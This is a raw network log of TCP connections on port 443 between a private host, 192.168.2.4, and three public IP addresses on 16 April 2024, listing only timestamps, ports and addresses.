Apr 16, 2024 21:40:08.175743103 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.175754070 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.175793886 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.175815105 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.175827980 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.175874949 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.229432106 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.229567051 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.229588032 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.229624033 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.229686975 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.229754925 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.229897976 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.229939938 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.229998112 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.230011940 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.276524067 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.397859097 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.397933006 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.397964954 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.397991896 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.398008108 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.398058891 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.398097992 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.398127079 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.398153067 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.398170948 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.398185015 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.398235083 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.398718119 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.398780107 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.398814917 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.398828030 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.398839951 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.398890972 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.399553061 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.399612904 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.399630070 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.399667978 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.399693012 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.399714947 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.399725914 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.399776936 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.399777889 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.399822950 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.419173002 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.419235945 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.438515902 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.438539028 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.438584089 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.439172029 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.439182043 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.439647913 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.439696074 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.439754009 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.440094948 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.440141916 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.440535069 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.440553904 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.440604925 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.440900087 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.440906048 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.440946102 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.441443920 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.441488981 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.441543102 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.441776991 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.441798925 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.441840887 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.442353010 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.442378998 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.442502022 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.442509890 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.442718983 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.442747116 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.442831993 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.442842007 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.543260098 CEST	49780	443	192.168.2.4	64.233.177.105
Apr 16, 2024 21:40:08.543348074 CEST	443	49780	64.233.177.105	192.168.2.4
Apr 16, 2024 21:40:08.543437004 CEST	49780	443	192.168.2.4	64.233.177.105
Apr 16, 2024 21:40:08.543663979 CEST	49780	443	192.168.2.4	64.233.177.105
Apr 16, 2024 21:40:08.543687105 CEST	443	49780	64.233.177.105	192.168.2.4
Apr 16, 2024 21:40:08.545135975 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:08.545171022 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:08.545243025 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:08.545394897 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:08.545413971 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:08.657664061 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.657954931 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.657967091 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.658488035 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.658871889 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.658948898 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.659035921 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.664813995 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.666213036 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.666234970 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.667071104 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.667282104 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.667290926 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.667386055 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.667437077 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.667758942 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.667793036 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.667848110 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.667933941 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.668163061 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.668193102 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.668268919 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.668279886 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.668374062 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.668381929 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.668673992 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.668905973 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.668975115 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.669060946 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.669120073 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.669142008 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.669188023 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.669301033 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.669392109 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.669544935 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.669610023 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.669624090 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.669739962 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.669749022 CEST	443	49776	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.669832945 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.669842005 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.671838999 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.672091007 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.672096968 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.675448895 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.675503969 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.675853968 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.675929070 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.676213980 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.676219940 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.700139999 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.712045908 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.712045908 CEST	49776	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.712047100 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.712135077 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.716103077 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.755518913 CEST	443	49780	64.233.177.105	192.168.2.4
Apr 16, 2024 21:40:08.755805969 CEST	49780	443	192.168.2.4	64.233.177.105
Apr 16, 2024 21:40:08.755821943 CEST	443	49780	64.233.177.105	192.168.2.4
Apr 16, 2024 21:40:08.756772995 CEST	443	49780	64.233.177.105	192.168.2.4
Apr 16, 2024 21:40:08.756839991 CEST	49780	443	192.168.2.4	64.233.177.105
Apr 16, 2024 21:40:08.757551908 CEST	49780	443	192.168.2.4	64.233.177.105
Apr 16, 2024 21:40:08.757607937 CEST	443	49780	64.233.177.105	192.168.2.4
Apr 16, 2024 21:40:08.761600971 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:08.772783041 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:08.772803068 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:08.773128033 CEST	49780	443	192.168.2.4	64.233.177.105
Apr 16, 2024 21:40:08.773137093 CEST	443	49780	64.233.177.105	192.168.2.4
Apr 16, 2024 21:40:08.773880959 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:08.773936987 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:08.776972055 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:08.777048111 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:08.777576923 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:08.777589083 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:08.820969105 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:08.820969105 CEST	49780	443	192.168.2.4	64.233.177.105
Apr 16, 2024 21:40:08.984559059 CEST	443	49780	64.233.177.105	192.168.2.4
Apr 16, 2024 21:40:08.984982014 CEST	443	49780	64.233.177.105	192.168.2.4
Apr 16, 2024 21:40:08.985055923 CEST	49780	443	192.168.2.4	64.233.177.105
Apr 16, 2024 21:40:08.985426903 CEST	49780	443	192.168.2.4	64.233.177.105
Apr 16, 2024 21:40:08.985461950 CEST	443	49780	64.233.177.105	192.168.2.4
Apr 16, 2024 21:40:09.046791077 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.061419010 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.061440945 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.061482906 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.061485052 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:09.061513901 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.061517000 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:09.061538935 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.061547995 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:09.061568022 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:09.078588963 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.078607082 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.078664064 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:09.078681946 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.084326029 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.084383965 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:09.084395885 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.084431887 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:09.154545069 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.154603958 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.154633999 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:09.154654026 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.154742956 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.154870033 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:09.157543898 CEST	49781	443	192.168.2.4	108.156.152.4
Apr 16, 2024 21:40:09.157562017 CEST	443	49781	108.156.152.4	192.168.2.4
Apr 16, 2024 21:40:09.297974110 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.298086882 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.298167944 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.298255920 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.298295021 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.298317909 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.298433065 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.298441887 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.298597097 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.299245119 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299371958 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299401045 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299431086 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299459934 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299489975 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.299498081 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299550056 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299571991 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.299578905 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299608946 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299632072 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.299637079 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299668074 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299691916 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299782991 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.299806118 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.300276041 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.300967932 CEST	49775	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.300985098 CEST	443	49775	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301251888 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301275969 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.301352024 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301357031 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301429987 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301438093 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.301460028 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.301470995 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301549911 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.301556110 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301572084 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301700115 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301768064 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301846027 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.301980019 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.301986933 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.302337885 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.304519892 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.304549932 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.319025993 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.319073915 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.319108009 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.319147110 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.319179058 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.319210052 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.319228888 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.319258928 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.319259882 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.319325924 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.319372892 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.319544077 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.319822073 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.319839954 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.320441961 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.320542097 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.320612907 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.320619106 CEST	49778	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.320626020 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.320693970 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.320776939 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.320804119 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.320810080 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.320913076 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.320971966 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.321063042 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.321069956 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.321845055 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.321999073 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322083950 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322165012 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322242975 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322323084 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.322323084 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.322329044 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322360992 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322498083 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322583914 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.322599888 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322679996 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322707891 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.322716951 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322819948 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322904110 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.322983027 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.323071957 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.323101997 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.323101997 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.323113918 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.323343039 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.323431015 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.323590994 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.323671103 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.323749065 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.323781013 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.323788881 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.323883057 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.324372053 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.324451923 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.324531078 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.324610949 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.324685097 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.324764013 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.324771881 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.324801922 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.325265884 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.325344086 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.325594902 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.325628996 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.325743914 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.328589916 CEST	49779	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.328602076 CEST	443	49779	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.328811884 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.328852892 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.329030037 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.343185902 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.343210936 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.345496893 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.345576048 CEST	443	49784	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.345758915 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.349482059 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.349519968 CEST	443	49784	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.353636026 CEST	443	49774	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.360935926 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.360949039 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.367881060 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.368071079 CEST	49777	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.368077993 CEST	443	49777	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.377579927 CEST	443	49778	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:09.401875973 CEST	49774	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:09.401881933 CEST	443	49774	172.67.191.147	192.168.2.4
